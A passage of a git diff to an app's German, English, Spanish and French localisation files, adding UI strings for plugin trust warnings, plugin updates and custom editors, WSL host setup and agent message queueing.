ändern. Installieren Sie sie daher nur von Autoren, denen Sie vertrauen.", + "code": "Dieses Plugin stammt von {{value0}}, nicht von Orca. Es führt den Code des Herausgebers in Orca aus. Installieren Sie es daher nur, wenn Sie {{value0}} vertrauen.", + "git": "Orca hat dieses Repository nicht geprüft. Ein Plugin daraus kann den Code seines Herausgebers in Orca ausführen. Installieren Sie es daher nur, wenn Sie {{value0}} vertrauen.", + "localFolder": "Dies ist ein nicht verifizierter lokaler Ordner. Ein Plugin daraus kann Code in Orca ausführen. Installieren Sie es daher nur, wenn Sie seiner Herkunft vertrauen.", + "devFolder": "Dies ist ein nicht verifizierter lokaler Ordner. Orca lädt sein Plugin unverändert, und spätere Codeänderungen laufen ohne Nachfrage. Fügen Sie daher nur Ordner hinzu, denen Sie vertrauen.", + "publisher": "Herausgeber", + "repository": "Repository", + "folder": "Ordner", + "catalog": "Katalog", + "cancel": "Abbrechen", + "addFolder": "Ordner hinzufügen", + "install": "Installieren" + }, + "AppearanceInterfaceSection": { + "pluginIconTheme": { + "title": "Symboldesign", + "description": "Datei- und Ordnersymbole aus einem aktivierten Plugin.", + "builtIn": "Integriert" + } + }, + "PluginAddMenu": { + "add": "Plugin hinzufügen", + "folder": "Aus einem Ordner…", + "git": "Aus einer Git-URL…", + "sources": "Katalogquellen…" + }, + "PluginSettingsOverview": { + "offTitle": "Plugins sind deaktiviert" + }, + "pluginContributions": { + "dark": "Dunkel", + "light": "Hell", + "languageIncomplete": "{{value0}} % übersetzt, zu unvollständig, um als Orca-Sprache verwendet zu werden", + "languageCoverage": "Oberflächensprache · {{value0}} % übersetzt", + "newFileMenu": "Ergänzt das +-Menü" + }, + "PluginPageAction": { + "failedTitle": "{{value0}} konnte nicht installiert werden", + "contentOnly": "Nur Inhalte" + }, + "PluginSettingsMenu": { + "label": "Plugin-Einstellungen", + "development": "Entwicklungsordner…", + "autoUpdateLabel": "Plugins automatisch aktualisieren", + "autoUpdateHint": "Fragt nur bei neuen Zugriffen erneut" + }, + "PluginPageHero": { + "screenshots": "Bildschirmfotos", + "openScreenshot": "Bildschirmfoto öffnen: {{value0}}", + "position": "{{value0}} von {{value1}}", + "previous": "Vorheriges Bildschirmfoto", + "next": "Nächstes Bildschirmfoto" + }, + "PluginContributionActionCommand": { + "run": "Ausführen", + "runName": "{{value0}} ausführen", + "ran": "{{value0}} ausgeführt", + "failed": "{{value0}} fehlgeschlagen", + "seeLogs": "Siehe Protokolle unten", + "needsWorkspace": "Benötigt einen geöffneten Arbeitsbereich" + }, + "PluginContributionActionEvents": { + "worktreeCreated": "Wenn ein Arbeitsbereich erstellt wird", + "worktreeRemoved": "Wenn ein Arbeitsbereich entfernt wird", + "agentStatusChanged": "Wenn sich der Status eines Agenten ändert", + "detail": "Hintergrundcode wird ausgeführt" + }, + "PluginChips": { + "updateNeedsReview": "Update muss geprüft werden", + "updatedTo": "Auf {{value0}} aktualisiert", + "devUnverified": "Dev · nicht verifiziert" + }, + "PluginsAlphaNotice": { + "label": "Alpha:", + "body": "Die Plugin-Schnittstelle kann sich ändern. Rechne mit Feinheiten.", + "dismiss": "Alpha-Hinweis schließen" + }, + "PluginStatus": { + "needsReview": "Muss geprüft werden", + "restarting": "Wird neu gestartet", + "stopped": "Gestoppt", + "cantLoad": "Kann nicht geladen werden", + "off": "Aus", + "running": "Läuft", + "on": "An", + "blocked": "Blockiert" + }, + "PluginContributionActionNewFile": { + "create": "Erstellen" } }, "right": { @@ -14566,7 +14757,8 @@ "79aa06bb2c": "Aktualisierung fehlgeschlagen. Die GitHub-API ist vorübergehend nicht verfügbar. Der letzte bekannte Status wird angezeigt.", "6ec12cee0c": "Aktualisierung fehlgeschlagen. GitHub ist derzeit nicht erreichbar. Der letzte bekannte Status wird angezeigt.", "de088015e8": "Aktualisierung fehlgeschlagen. GitHub begrenzt die Anfragerate. Der letzte bekannte Status wird angezeigt.", - "d9dd7c6687": "Die Daten von GitHub konnten nicht aktualisiert werden. Der letzte bekannte Status wird angezeigt." + "d9dd7c6687": "Die Daten von GitHub konnten nicht aktualisiert werden. Der letzte bekannte Status wird angezeigt.", + "manual_provider": "Die Daten von {{provider}} konnten nicht aktualisiert werden. Erneut versuchen." } } }, @@ -16622,6 +16814,28 @@ }, "richMarkdownBlobImagePaste": { "saveFailed": "Das eingefügte Bild konnte nicht neben dem Dokument gespeichert werden. Es wird nach einem Neustart von Orca möglicherweise nicht geladen." + }, + "PluginFileTypeSuggestion": { + "message": "Ein Plugin kann .{{value0}}-Dateien öffnen: {{value1}}", + "view": "Plugin ansehen", + "notNow": "Nicht jetzt", + "never": "Für .{{value0}} nicht vorschlagen", + "editorMessage": "Ein Plugin bietet einen Editor für .{{value0}}-Dateien: {{value1}}" + }, + "PluginCustomEditorFrame": { + "loading": "Editor wird geladen…", + "unresponsive": "{{value0}} reagiert nicht mehr. Wechsle zu „Quelle“, um weiter zu bearbeiten.", + "loadFailed": "{{value0}} konnte nicht geladen werden. Wechsle zu „Quelle“, um diese Datei zu bearbeiten.", + "editTooLarge": "Diese Datei ist zu groß, als dass {{value0}} Änderungen speichern könnte. Verwende stattdessen „Quelle“.", + "saveBlocked": "Die letzten Änderungen aus {{value0}} konnten nicht gespeichert werden.", + "editsHeld": "{{value0}} sendet Änderungen zu schnell; Orca übernimmt in Kürze die neueste.", + "largeFile": "Große Datei – das kann einen Moment dauern." + }, + "PluginBytesCustomEditorSurface": { + "retry": "Erneut versuchen", + "tooLarge": "{{value0}} ist zu groß, um in {{value1}} geöffnet zu werden ({{value2}}; das Limit ist {{value3}}).", + "unsupported": "{{value0}} kann diese Datei an ihrem Speicherort nicht lesen. Aktualisiere den Orca-Server, auf dem sie liegt, oder wechsle zu „Quelle“.", + "readFailed": "{{value0}} konnte für {{value1}} nicht gelesen werden. {{value2}}" } }, "diff": { @@ -16947,7 +17161,8 @@ }, "pluginQuickActions": { "description": "Befehl des Plugins {{value0}}", - "keyword": "Plugin-Befehl" + "keyword": "Plugin-Befehl", + "newFileDescription": "Eine unbenannte {{value0}}-Datei im aktiven Arbeitsbereich erstellen." } } }, @@ -18216,6 +18431,10 @@ }, "PluginListRow": { "official": "Offiziell" + }, + "PluginListGroup": { + "showAll": "{{value0}} weitere anzeigen", + "showAllTotal": "Alle {{value0}} Plugins anzeigen" } }, "terminalPane": { @@ -18659,6 +18878,13 @@ }, "pluginInstallCount": { "installs": "{{value0}} Installationen" + }, + "PluginCatalogLinkDialog": { + "failed": "Dieser Katalog konnte nicht hinzugefügt werden.", + "title": "Katalog {{value0}} hinzufügen?", + "cancel": "Abbrechen", + "add": "Katalog hinzufügen", + "body": "Ein Link möchte {{value0}} aus diesem Katalog anzeigen. Füge Kataloge nur von Personen hinzu, denen du vertraust." } } }, @@ -19574,7 +19800,6 @@ "editMessage": "Nachricht bearbeiten", "showFullMessage": "Vollständige Nachricht anzeigen", "showLess": "Weniger anzeigen", - "turnOffQueueing": "Warteschlange deaktivieren", "listLabel": "Nachrichten in der Warteschlange", "alreadySent": "Diese Nachricht wurde bereits gesendet.", "withdrawnHold": "Vor dem Senden gestoppt", @@ -20159,12 +20384,11 @@ } }, "nativeChat": { - "queueFollowUpsTitle": "Folgenachrichten einreihen", + "followUpBehaviorTitle": "Folgenachrichten einreihen", "inlineVisualsTitle": "Eingebettete Grafiken", "inlineVisualsCopy": "Dem Agenten erlauben, Diagramme, Schaubilder und Mockups in seinen Antworten anzuzeigen. Gilt für neu gestartete Chats.", "inlineVisualsToggleLabel": "Eingebettete Grafiken umschalten", - "queueFollowUpsCopy": "Während der Agent arbeitet, warten gesendete Nachrichten als Karten und lassen sich zur Steuerung sofort senden, bearbeiten oder löschen. Nachrichten mit Bildern werden sofort gesendet.", - "queueFollowUpsToggleLabel": "Einreihen von Folgenachrichten umschalten", + "followUpBehaviorCopy": "Nachrichten während der Arbeit des Agenten warten als Karten, bis der Durchgang endet, statt in den laufenden Durchgang zu gehen. Cmd/Strg+Enter macht für eine Nachricht das Gegenteil.", "behaviorTitle": "Verhalten", "resumeSearchUpdate": "Aktualisieren", "resumeSearchRelaunch": "Neu starten", diff --git a/src/renderer/src/i18n/locales/en.json b/src/renderer/src/i18n/locales/en.json index b88e2051fb7..eec467f3fac 100644 --- a/src/renderer/src/i18n/locales/en.json +++ b/src/renderer/src/i18n/locales/en.json @@ -210,6 +210,11 @@ }, "cardProperties": { "agentModel": "Agent model" + }, + "wslHostOffer": { + "title": "Run {{distro}} as a host (recommended)", + "why": "Git, files and terminals then run natively in Linux instead of across the Windows file share.", + "accept": "Run as host" } }, "app": { @@ -2865,6 +2870,7 @@ "8c967b4d15": "Later" }, "TaskPage": { + "gitlabLoadFailed": "Could not load GitLab work items. Refresh to try again.", "ff69a30681": "Cancel", "8ff6fdc368": "Creating…", "919a20dd5b": "Enter {{value0}}", @@ -3752,6 +3758,17 @@ "vmProvisioningTitle": "Provisioning VM", "cancelProvisioning": "Cancel", "vmProvisioningLogEmpty": "Waiting for recipe output…" + }, + "PendingNativeChatCreation": { + "sendBlockedFailed": "Retry creating the worktree to send", + "sendBlockedHeld": "Sends when the worktree is ready" + }, + "WorktreeSetupSteps": { + "prepare": "Prepare workspace", + "fetch": "Fetch base branch", + "create": "Create worktree", + "setup": "Set up workspace", + "startAgent": "Start {{agent}}" } } }, @@ -7223,14 +7240,15 @@ "distro": "Distro", "loading": "Looking for WSL distros…", "placeholder": "Choose a distro", - "none": "No WSL distros found. Install one with: wsl --install", "stoppedHint": "{{value0}} is stopped. Adding it starts it.", "addingHint": "Installing and starting the Orca server in the distro. The first time can take a minute.", "adding": "Setting up…", "startAndAdd": "Start and add", "add": "Add host", "refresh": "Refresh", - "wsl1Hint": "WSL 1 distros can’t be hosts. Convert one in a Windows terminal with: wsl --set-version {{value0}} 2" + "wsl1Reason": "WSL 1 can’t run an Orca host; convert with {{command}}", + "noWsl2Title": "No WSL 2 distros found", + "noWsl2Install": "Install one from a Windows terminal with {{command}}, then choose Refresh." }, "wslHostRowStatus": { "connecting": "Starting", @@ -13424,6 +13442,24 @@ "manyDescription": "They won’t update until you review them.", "review": "Review", "dismiss": "Dismiss" + }, + "PluginInstallTrustDialog": { + "titleFolder": "Make sure you trust this folder", + "title": "Make sure you trust {{value0}}", + "theme": "This theme is from {{value0}}, not Orca. Only install plugins from authors you trust.", + "content": "This plugin is from {{value0}}, not Orca. Only install plugins from authors you trust.", + "translations": "This translation is from {{value0}}, not Orca. Translations can change any text in Orca, so only install them from authors you trust.", + "code": "This plugin is from {{value0}}, not Orca. It runs the publisher’s code inside Orca, so only install it if you trust {{value0}}.", + "git": "Orca hasn’t checked this repository. A plugin from it can run its publisher’s code inside Orca, so only install it if you trust {{value0}}.", + "localFolder": "This is an unverified local folder. A plugin from it can run code inside Orca, so only install it if you trust where it came from.", + "devFolder": "This is an unverified local folder. Orca loads its plugin as it is, and later code edits run without asking, so only add folders you trust.", + "publisher": "Publisher", + "repository": "Repository", + "folder": "Folder", + "catalog": "Catalog", + "cancel": "Cancel", + "addFolder": "Add folder", + "install": "Install" } }, "right": { @@ -14831,7 +14867,8 @@ "79aa06bb2c": "Couldn't refresh. GitHub's API is temporarily unavailable. Showing the last known status.", "6ec12cee0c": "Couldn't refresh. GitHub is unreachable right now. Showing the last known status.", "de088015e8": "Couldn't refresh. GitHub is rate-limiting requests. Showing the last known status.", - "d9dd7c6687": "Couldn't refresh from GitHub. Showing the last known status." + "d9dd7c6687": "Couldn't refresh from GitHub. Showing the last known status.", + "manual_provider": "Couldn't refresh from {{provider}}. Try again." } } }, @@ -19897,7 +19934,6 @@ "editMessage": "Edit message", "showFullMessage": "Show full message", "showLess": "Show less", - "turnOffQueueing": "Turn off queueing", "listLabel": "Queued messages", "alreadySent": "This message was already sent.", "withdrawnHold": "Stopped before it was sent", @@ -20493,12 +20529,11 @@ } }, "nativeChat": { - "queueFollowUpsTitle": "Queue follow-ups", + "followUpBehaviorTitle": "Queue follow-ups", "inlineVisualsTitle": "Inline visuals", "inlineVisualsCopy": "Let the agent show charts, diagrams and mockups inside its replies. Applies to newly started chats.", "inlineVisualsToggleLabel": "Toggle inline visuals", - "queueFollowUpsCopy": "Messages you send while the agent is working wait as cards you can steer, edit, or delete. Messages with images send right away.", - "queueFollowUpsToggleLabel": "Toggle queue follow-ups", + "followUpBehaviorCopy": "Messages sent while the agent works wait as cards until the turn ends, instead of going into the running turn. Cmd/Ctrl+Enter does the opposite for one message.", "behaviorTitle": "Behavior", "resumeSearchUpdate": "update", "resumeSearchRelaunch": "relaunch", @@ -21531,7 +21566,7 @@ }, "claude": { "added": "Account added. Select it to use it for the next Claude you start.", - "nextLaunch": "{{value0}} → {{value1}}. The next Claude you start uses it. Running sessions keep their account.", + "nextLaunch": "{{value0}} → {{value1}}. The next Claude terminal you start uses it. Running Claude terminals keep their account.", "profileSwitching": "Switching applies to the next Claude you start in any tab.", "systemDefault": "System default", "unnamedAccount": "Claude account", @@ -21557,8 +21592,8 @@ "session": "Claude session", "busy": "Working", "idle": "Idle", - "settingTitle": "When you switch accounts while Claude is running", - "settingDescription": "Restarting continues each running conversation on the new account.", + "settingTitle": "When you switch accounts while Claude is running in terminals", + "settingDescription": "Restarting continues each terminal conversation on the new account.", "keyword": { "restart": "restart", "running": "running" diff --git a/src/renderer/src/i18n/locales/es.json b/src/renderer/src/i18n/locales/es.json index ad32ec8b4f1..edf21abcbbb 100644 --- a/src/renderer/src/i18n/locales/es.json +++ b/src/renderer/src/i18n/locales/es.json @@ -901,6 +901,13 @@ "pluginNewFile": { "unavailable": "{{value0}} ya no está disponible. Vuelve a activar su plugin.", "failed": "No se pudo crear el archivo." + }, + "pluginAutoUpdates": { + "one": "{{value0}} se actualizó a {{value1}}", + "many": "{{value0}} plugins actualizados" + }, + "pluginInstallLink": { + "invalid": "Ese enlace de plugin no es válido." } }, "lib": { @@ -6767,13 +6774,15 @@ "distro": "Distro", "loading": "Buscando distros WSL…", "placeholder": "Elige una distro", - "none": "No se encontraron distros WSL. Instala una con: wsl --install", "stoppedHint": "{{value0}} está detenida. Agregarla la inicia.", "addingHint": "Instalando e iniciando el servidor Orca en la distro. La primera vez puede tardar un minuto.", "adding": "Configurando…", "startAndAdd": "Iniciar y agregar", "add": "Agregar host", - "refresh": "Actualizar" + "refresh": "Actualizar", + "wsl1Reason": "WSL 1 no puede ejecutar un host de Orca; conviértela con {{command}}", + "noWsl2Title": "No se encontraron distribuciones de WSL 2", + "noWsl2Install": "Instala una desde una terminal de Windows con {{command}} y luego elige Actualizar." }, "wslHostRowStatus": { "connecting": "Iniciando", @@ -11562,7 +11571,8 @@ "pathLabel": "Ruta de la carpeta del plugin de desarrollo", "placeholder": "Ruta a una carpeta de plugin", "add": "Añadir ruta", - "reviewHelp": "Se revisa una vez. Los cambios de código posteriores se ejecutan sin preguntar." + "reviewHelp": "Se revisa una vez. Los cambios de código posteriores se ejecutan sin preguntar.", + "dialogTitle": "Carpetas de desarrollo" }, "PluginInstallDialog": { "localRequired": "Introduce la ruta de la carpeta del plugin.", @@ -12737,7 +12747,9 @@ "repository": "Repositorio", "stoppedDataBody": "No se pudieron cargar sus archivos. Reinicia para volver a intentarlo.", "newerBody": "El catálogo cambió mientras estabas aquí.", - "showNewer": "Ver la nueva" + "showNewer": "Ver la nueva", + "newerTitle": "Hay una versión más reciente", + "alsoListedBy": "También aparece en {{value0}}. Las actualizaciones solo llegan del catálogo desde el que se instaló; para cambiar, elimínalo y vuelve a instalarlo." }, "PluginDetailSections": { "typeLanguagePack": "Idioma de la interfaz", @@ -12787,7 +12799,9 @@ "rollbackTo": "Volver a {{value0}}…", "copyContentHash": "Copiar hash del contenido", "reviewUpdate": "Revisar actualización", - "dataLoadFailed": "No se pudieron cargar sus archivos" + "dataLoadFailed": "No se pudieron cargar sus archivos", + "updateNeedsReview": "la actualización {{value0}} requiere revisión", + "updatedTo": "actualizado a {{value0}}" }, "PluginSettingsOverview": { "offTitle": "Los plugins están desactivados" @@ -12850,20 +12864,27 @@ "dark": "Oscuro", "light": "Claro", "languageIncomplete": "{{value0}} % traducido, demasiado incompleto para usarlo como idioma de Orca", - "languageCoverage": "Idioma de la interfaz · {{value0}} % traducido" + "languageCoverage": "Idioma de la interfaz · {{value0}} % traducido", + "newFileMenu": "Se añade al menú +" }, "PluginInstallConsent": { "noOtherAccess": "Ningún otro acceso", "replacesShortcut": "{{value0}} ({{value1}}) reemplaza tu atajo para {{value2}}.", "updatesKeepApproval": "Las actualizaciones solo vuelven a preguntar por accesos nuevos", "fullAccessUpdates": "Las actualizaciones pueden cambiar su código sin preguntar", - "editsFileTypes": "Abre y edita archivos {{value0}} en Orca. Puede leer los archivos que abre." + "editsFileTypes": "Abre y edita archivos {{value0}} en Orca. Puede leer los archivos que abre.", + "install": "Instalar y activar", + "keepOff": "Mantener desactivado" }, "PluginPageAction": { - "contentOnly": "Solo contenido" + "contentOnly": "Solo contenido", + "failedTitle": "No se pudo instalar {{value0}}" }, "PluginSettingsMenu": { - "autoUpdateHint": "Solo vuelve a preguntar por accesos nuevos" + "autoUpdateHint": "Solo vuelve a preguntar por accesos nuevos", + "label": "Ajustes de plugins", + "development": "Carpetas de desarrollo…", + "autoUpdateLabel": "Actualizar plugins automáticamente" }, "PluginInUseAction": { "inUseDark": "En uso · Oscuro", @@ -12966,6 +12987,39 @@ "manyDescription": "No se actualizarán hasta que las revises.", "review": "Revisar", "dismiss": "Descartar" + }, + "PluginInstallTrustDialog": { + "titleFolder": "Asegúrate de que confías en esta carpeta", + "title": "Asegúrate de que confías en {{value0}}", + "theme": "Este tema es de {{value0}}, no de Orca. Instala solo plugins de autores en los que confíes.", + "content": "Este plugin es de {{value0}}, no de Orca. Instala solo plugins de autores en los que confíes.", + "translations": "Esta traducción es de {{value0}}, no de Orca. Las traducciones pueden cambiar cualquier texto de Orca, así que instálalas solo de autores en los que confíes.", + "code": "Este plugin es de {{value0}}, no de Orca. Ejecuta el código del editor dentro de Orca, así que instálalo solo si confías en {{value0}}.", + "git": "Orca no ha revisado este repositorio. Un plugin de él puede ejecutar el código de su editor dentro de Orca, así que instálalo solo si confías en {{value0}}.", + "localFolder": "Esta es una carpeta local sin verificar. Un plugin de ella puede ejecutar código dentro de Orca, así que instálalo solo si confías en su procedencia.", + "devFolder": "Esta es una carpeta local sin verificar. Orca carga su plugin tal cual y los cambios de código posteriores se ejecutan sin preguntar, así que añade solo carpetas en las que confíes.", + "publisher": "Editor", + "repository": "Repositorio", + "folder": "Carpeta", + "catalog": "Catálogo", + "cancel": "Cancelar", + "addFolder": "Añadir carpeta", + "install": "Instalar" + }, + "PluginPageHero": { + "screenshots": "Capturas de pantalla", + "openScreenshot": "Abrir captura de pantalla: {{value0}}", + "position": "{{value0}} de {{value1}}", + "previous": "Captura anterior", + "next": "Captura siguiente" + }, + "PluginChips": { + "updateNeedsReview": "La actualización requiere revisión", + "updatedTo": "Actualizado a {{value0}}", + "devUnverified": "Desarrollo · sin verificar" + }, + "PluginContributionActionNewFile": { + "create": "Crear" } }, "right": { @@ -14428,7 +14482,8 @@ "79aa06bb2c": "No se pudo actualizar. La API de GitHub no está disponible temporalmente. Mostrando el último estado conocido.", "6ec12cee0c": "No se pudo actualizar. GitHub es inalcanzable en este momento. Mostrando el último estado conocido.", "de088015e8": "No se pudo actualizar. GitHub está limitando las solicitudes. Se muestra el último estado conocido.", - "d9dd7c6687": "No se pudo actualizar desde GitHub. Mostrando el último estado conocido." + "d9dd7c6687": "No se pudo actualizar desde GitHub. Mostrando el último estado conocido.", + "manual_provider": "No se pudo actualizar desde {{provider}}. Vuelve a intentarlo." } } }, @@ -16494,13 +16549,29 @@ "message": "Un plugin puede abrir archivos .{{value0}}: {{value1}}", "view": "Ver plugin", "notNow": "Ahora no", - "never": "No sugerir para .{{value0}}" + "never": "No sugerir para .{{value0}}", + "editorMessage": "Un plugin añade un editor para archivos .{{value0}}: {{value1}}" }, "RichMarkdownEmojiMenu": { "chooseEmoji": "Elegir un emoji" }, "richMarkdownBlobImagePaste": { "saveFailed": "No se pudo guardar la imagen pegada junto al documento. Es posible que no se cargue después de reiniciar Orca." + }, + "PluginCustomEditorFrame": { + "loading": "Cargando editor…", + "unresponsive": "{{value0}} dejó de responder. Cambia a Código fuente para seguir editando.", + "loadFailed": "No se pudo cargar {{value0}}. Cambia a Código fuente para editar este archivo.", + "editTooLarge": "Este archivo es demasiado grande para que {{value0}} guarde cambios. Usa Código fuente.", + "saveBlocked": "No se pudieron guardar los últimos cambios de {{value0}}.", + "editsHeld": "{{value0}} envía cambios demasiado rápido; Orca aplicará el más reciente en breve.", + "largeFile": "Archivo grande: puede tardar un momento." + }, + "PluginBytesCustomEditorSurface": { + "retry": "Reintentar", + "tooLarge": "{{value0}} es demasiado grande para abrirse en {{value1}} ({{value2}}; el límite es {{value3}}).", + "unsupported": "{{value0}} no puede leer este archivo desde donde está almacenado. Actualiza el servidor de Orca que lo aloja o cambia a Código fuente.", + "readFailed": "No se pudo leer {{value0}} para {{value1}}. {{value2}}" } }, "diff": { @@ -16829,7 +16900,8 @@ }, "pluginQuickActions": { "description": "Comando del plugin {{value0}}", - "keyword": "comando del plugin" + "keyword": "comando del plugin", + "newFileDescription": "Crea un archivo {{value0}} sin título en el espacio de trabajo activo." } } }, @@ -18119,7 +18191,8 @@ "notInstalled": "No instalados" }, "PluginListGroup": { - "showAll": "Mostrar {{value0}} más" + "showAll": "Mostrar {{value0}} más", + "showAllTotal": "Mostrar los {{value0}} plugins" }, "PluginListRow": { "official": "Oficial" @@ -18627,6 +18700,13 @@ }, "pluginInstallCount": { "installs": "{{value0}} instalaciones" + }, + "PluginCatalogLinkDialog": { + "failed": "No se pudo añadir este catálogo.", + "title": "¿Añadir el catálogo {{value0}}?", + "cancel": "Cancelar", + "add": "Añadir catálogo", + "body": "Un enlace pidió mostrar {{value0}} de este catálogo. Añade catálogos solo de personas en las que confíes." } } }, @@ -19345,7 +19425,6 @@ "editMessage": "Editar mensaje", "showFullMessage": "Mostrar el mensaje completo", "showLess": "Mostrar menos", - "turnOffQueueing": "Desactivar la cola", "withdrawnHold": "Detenido antes de enviarse", "pausedSendFailed": "No se pudo enviar. Pulsa Enviar para reintentar.", "paused": "En pausa", @@ -20105,9 +20184,8 @@ }, "settings": { "nativeChat": { - "queueFollowUpsTitle": "Poner mensajes en cola", - "queueFollowUpsCopy": "Los mensajes que envías mientras el agente trabaja esperan como tarjetas que puedes enviar ahora, editar o eliminar. Los mensajes con imágenes se envían de inmediato.", - "queueFollowUpsToggleLabel": "Alternar la cola de mensajes", + "followUpBehaviorTitle": "Poner mensajes de seguimiento en cola", + "followUpBehaviorCopy": "Los mensajes enviados mientras el agente trabaja esperan como tarjetas hasta que termina el turno, en lugar de entrar en el turno en curso. Cmd/Ctrl+Intro hace lo contrario para un mensaje.", "inlineVisualsTitle": "Elementos visuales inline", "inlineVisualsCopy": "Permite que el agente muestre gráficos, diagramas y maquetas dentro de sus respuestas. Se aplica a los chats nuevos.", "inlineVisualsToggleLabel": "Alternar elementos visuales inline", @@ -20930,7 +21008,7 @@ }, "claude": { "added": "Cuenta agregada. Selecciónala para usarla en el próximo Claude que inicies.", - "nextLaunch": "{{value0}} → {{value1}}. El próximo Claude que inicies la usará. Las sesiones en ejecución conservan su cuenta.", + "nextLaunch": "{{value0}} → {{value1}}. El próximo terminal de Claude que inicies usará esta cuenta. Los terminales de Claude en ejecución conservan su cuenta.", "profileSwitching": "El cambio se aplica al próximo Claude que inicies en cualquier pestaña. Las sesiones en ejecución conservan su cuenta.", "systemDefault": "Predeterminado del sistema", "unnamedAccount": "Cuenta de Claude", @@ -20963,8 +21041,8 @@ "session": "Sesión de Claude", "settingKeep": "Nunca reiniciar", "settingRestart": "Reiniciar siempre", - "settingTitle": "Cuando cambias de cuenta mientras Claude se está ejecutando", - "settingDescription": "El reinicio continúa con cada conversación en ejecución en la nueva cuenta.", + "settingTitle": "Cuando cambias de cuenta mientras Claude se está ejecutando en terminales", + "settingDescription": "Al reiniciar, cada conversación en un terminal continúa en la nueva cuenta.", "restartingOther": "Reiniciando {{count}} sesiones de Claude con {{account}}", "restartingOne": "Reiniciando 1 sesión de Claude con {{account}}", "groupOnAccount": "En ejecución con {{account}}", @@ -21181,6 +21259,11 @@ }, "cardProperties": { "agentModel": "Modelo del agente" + }, + "wslHostOffer": { + "title": "Ejecutar {{distro}} como host (recomendado)", + "why": "Git, los archivos y las terminales se ejecutan de forma nativa en Linux en lugar de a través del recurso compartido de Windows.", + "accept": "Ejecutar como host" } }, "rendererRecovery": { diff --git a/src/renderer/src/i18n/locales/fr.json b/src/renderer/src/i18n/locales/fr.json index 3517fdb21b8..a4ae0e87c4e 100644 --- a/src/renderer/src/i18n/locales/fr.json +++ b/src/renderer/src/i18n/locales/fr.json @@ -1121,6 +1121,13 @@ "pluginNewFile": { "unavailable": "{{value0}} n’est plus disponible. Réactivez son plugin.", "failed": "Impossible de créer le fichier." + }, + "pluginAutoUpdates": { + "one": "{{value0}} mis à jour vers {{value1}}", + "many": "{{value0}} plugins mis à jour" + }, + "pluginInstallLink": { + "invalid": "Ce lien de plugin n’est pas valide." } }, "lib": { @@ -6991,13 +6998,15 @@ "distro": "Distro", "loading": "Recherche des distros WSL…", "placeholder": "Choisissez une distro", - "none": "Aucune distro WSL trouvée. Installez-en une avec : wsl --install", "stoppedHint": "{{value0}} est arrêtée. L'ajouter la démarre.", "addingHint": "Installation et démarrage du serveur Orca dans la distro. La première fois peut prendre une minute.", "adding": "Configuration…", "startAndAdd": "Démarrer et ajouter", "add": "Ajouter un hôte", - "refresh": "Actualiser" + "refresh": "Actualiser", + "wsl1Reason": "WSL 1 ne peut pas exécuter d’hôte Orca ; convertissez-la avec {{command}}", + "noWsl2Title": "Aucune distribution WSL 2 trouvée", + "noWsl2Install": "Installez-en une depuis un terminal Windows avec {{command}}, puis choisissez Actualiser." }, "wslHostRowStatus": { "connecting": "Démarrage", @@ -11777,7 +11786,8 @@ "pathLabel": "Chemin du dossier de plugin de développement", "placeholder": "Chemin d'un dossier de plugin", "add": "Ajouter un chemin", - "reviewHelp": "Vérifié une fois. Les modifications de code suivantes s'exécutent sans demander." + "reviewHelp": "Vérifié une fois. Les modifications de code suivantes s'exécutent sans demander.", + "dialogTitle": "Dossiers de développement" }, "PluginInstallDialog": { "localRequired": "Saisissez le chemin du dossier du plugin.", @@ -12961,7 +12971,9 @@ "repository": "Dépôt", "stoppedDataBody": "Impossible de charger ses fichiers. Redémarrez pour réessayer.", "newerBody": "Le catalogue a changé pendant votre visite.", - "showNewer": "Voir la nouvelle" + "showNewer": "Voir la nouvelle", + "newerTitle": "Une version plus récente est disponible", + "alsoListedBy": "Également proposé par {{value0}}. Les mises à jour proviennent uniquement du catalogue d’installation ; pour en changer, supprimez-le puis réinstallez-le." }, "PluginDetailSections": { "typeLanguagePack": "Langue de l’interface", @@ -13011,7 +13023,9 @@ "rollbackTo": "Revenir à {{value0}}…", "copyContentHash": "Copier le hash du contenu", "reviewUpdate": "Vérifier la mise à jour", - "dataLoadFailed": "Impossible de charger ses fichiers" + "dataLoadFailed": "Impossible de charger ses fichiers", + "updateNeedsReview": "la mise à jour {{value0}} doit être relue", + "updatedTo": "mis à jour vers {{value0}}" }, "PluginSettingsOverview": { "offTitle": "Les plugins sont désactivés" @@ -13074,20 +13088,27 @@ "dark": "Sombre", "light": "Clair", "languageIncomplete": "Traduit à {{value0}} %, trop incomplet pour servir de langue à Orca", - "languageCoverage": "Langue de l’interface · traduite à {{value0}} %" + "languageCoverage": "Langue de l’interface · traduite à {{value0}} %", + "newFileMenu": "S’ajoute au menu +" }, "PluginInstallConsent": { "noOtherAccess": "Aucun autre accès", "replacesShortcut": "{{value0}} ({{value1}}) remplace votre raccourci pour {{value2}}.", "updatesKeepApproval": "Les mises à jour ne redemandent que pour un nouvel accès", "fullAccessUpdates": "Les mises à jour peuvent modifier son code sans demander", - "editsFileTypes": "Ouvre et modifie les fichiers {{value0}} dans Orca. Il peut lire les fichiers qu’il ouvre." + "editsFileTypes": "Ouvre et modifie les fichiers {{value0}} dans Orca. Il peut lire les fichiers qu’il ouvre.", + "install": "Installer et activer", + "keepOff": "Laisser désactivé" }, "PluginPageAction": { - "contentOnly": "Contenu uniquement" + "contentOnly": "Contenu uniquement", + "failedTitle": "Impossible d’installer {{value0}}" }, "PluginSettingsMenu": { - "autoUpdateHint": "Ne redemande que pour un nouvel accès" + "autoUpdateHint": "Ne redemande que pour un nouvel accès", + "label": "Paramètres des plugins", + "development": "Dossiers de développement…", + "autoUpdateLabel": "Mettre à jour les plugins automatiquement" }, "PluginInUseAction": { "inUseDark": "Utilisé · Sombre", @@ -13190,6 +13211,39 @@ "manyDescription": "Elles ne seront pas installées tant que vous ne les aurez pas vérifiées.", "review": "Vérifier", "dismiss": "Ignorer" + }, + "PluginInstallTrustDialog": { + "titleFolder": "Assurez-vous de faire confiance à ce dossier", + "title": "Assurez-vous de faire confiance à {{value0}}", + "theme": "Ce thème provient de {{value0}}, pas d’Orca. N’installez que des plugins d’auteurs de confiance.", + "content": "Ce plugin provient de {{value0}}, pas d’Orca. N’installez que des plugins d’auteurs de confiance.", + "translations": "Cette traduction provient de {{value0}}, pas d’Orca. Les traductions peuvent modifier n’importe quel texte d’Orca : ne les installez que depuis des auteurs de confiance.", + "code": "Ce plugin provient de {{value0}}, pas d’Orca. Il exécute le code de l’éditeur dans Orca : ne l’installez que si vous faites confiance à {{value0}}.", + "git": "Orca n’a pas vérifié ce dépôt. Un plugin qui en provient peut exécuter le code de son éditeur dans Orca : ne l’installez que si vous faites confiance à {{value0}}.", + "localFolder": "Ce dossier local n’est pas 